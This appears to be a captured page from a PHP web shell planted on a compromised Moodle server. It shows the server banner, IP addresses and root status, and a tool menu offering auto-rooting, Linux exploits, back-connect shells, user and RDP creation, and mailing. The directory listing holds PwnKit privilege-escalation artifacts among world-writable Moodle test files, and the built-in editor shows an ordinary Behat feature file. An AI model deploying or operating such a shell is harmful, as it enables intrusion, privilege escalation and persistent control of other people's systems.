Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_core_question.php
7.75
KB
-rwxrwxrwx
behat_question.php
4.55
KB
-rwxrwxrwx
behat_question_base.php
2.28
KB
-rwxrwxrwx
delete_question_activities.fea...
1.81
KB
-rwxrwxrwx
delete_questions.feature
3.28
KB
-rwxrwxrwx
duplicate_questions.feature
2.99
KB
-rwxrwxrwx
edit_question_tags.feature
2.07
KB
-rwxrwxrwx
edit_questions.feature
3.55
KB
-rwxrwxrwx
edit_questions_standard_tags.f...
1.23
KB
-rwxrwxrwx
filter_questions_by_tag.featur...
1.66
KB
-rwxrwxrwx
move_question_categories.featu...
2.37
KB
-rwxrwxrwx
preview_question.feature
3.72
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
question_categories.feature
4.66
KB
-rwxrwxrwx
question_categories_idnumber.f...
6.85
KB
-rwxrwxrwx
select_questions.feature
2.54
KB
-rwxrwxrwx
sort_questions.feature
3.44
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : question_categories.feature
@core @core_question @javascript Feature: A teacher can put questions in categories in the question bank In order to organize my questions As a teacher I create and edit categories and move questions between them Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | weeks | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And the following "question categories" exist: | contextlevel | reference | questioncategory | name | | Course | C1 | Top | top | | Course | C1 | top | Default for C1 | | Course | C1 | Default for C1 | Subcategory | | Course | C1 | top | Used category | And the following "questions" exist: | questioncategory | qtype | name | questiontext | | Used category | essay | Test question to be moved | Write about whatever you want | Scenario: A new question category can be created When I am on the "Course 1" "core_question > course question categories" page logged in as "teacher1" And I set the following fields to these values: | Name | New Category 1 | | Parent category | Top | | Category info | Created as a test | | ID number | newcatidnumber | And I press "submitbutton" Then I should see "New Category 1 ID number newcatidnumber (0)" And I should see "Created as a test" in the "New Category 1" "list_item" And the "Parent category" select box should contain "New Category 1 [newcatidnumber]" Scenario: A question category can be edited When I am on the "Course 1" "core_question > course question categories" page logged in as "teacher1" And I click on "Edit this category" "link" in the "Subcategory" "list_item" And the field "parent" matches value " Default for C1" And I set the following fields to these values: | Name | New name | | Category info | I was edited | And I press "Save changes" Then I should see "New name" And I should see "I was edited" in the "New name" "list_item" Scenario: An empty question category can be deleted When I am on the "Course 1" "core_question > course question categories" page logged in as "teacher1" And I click on "Delete" "link" in the "Subcategory" "list_item" Then I should not see "Subcategory" Scenario: An non-empty question category can be deleted if you move the contents elsewhere When I am on the "Course 1" "core_question > course question categories" page logged in as "teacher1" And I click on "Delete" "link" in the "Used category" "list_item" And I should see "The category 'Used category' contains 1 questions" And I press "Save in category" Then I should not see "Used category" And I should see "Default for C1 (1)" @javascript Scenario: Move a question between categories via the question page When I am on the "Course 1" "core_question > course question bank" page logged in as "teacher1" And I set the field "Select a category" to "Used category" And I click on "Test question to be moved" "checkbox" in the "Test question to be moved" "table_row" And I set the field "Question category" to "Subcategory" And I press "Move to >>" Then I should see "Test question to be moved" And the field "Select a category" matches value " Subcategory (1)" And the "Select a category" select box should contain "Used category" And the "Select a category" select box should not contain "Used category (1)" @javascript Scenario: Move a question between categories via the question settings page When I am on the "Course 1" "core_question > course question bank" page logged in as "teacher1" And I set the field "Select a category" to "Used category" And I choose "Edit question" action for "Test question to be moved" in the question bank And I click on "Use this category" "checkbox" And I set the field "Save in category" to "Subcategory" And I press "id_submitbutton" Then I should see "Test question to be moved" And the field "Select a category" matches value " Subcategory (1)" And the "Select a category" select box should contain "Used category" And the "Select a category" select box should not contain "Used category (1)"
Close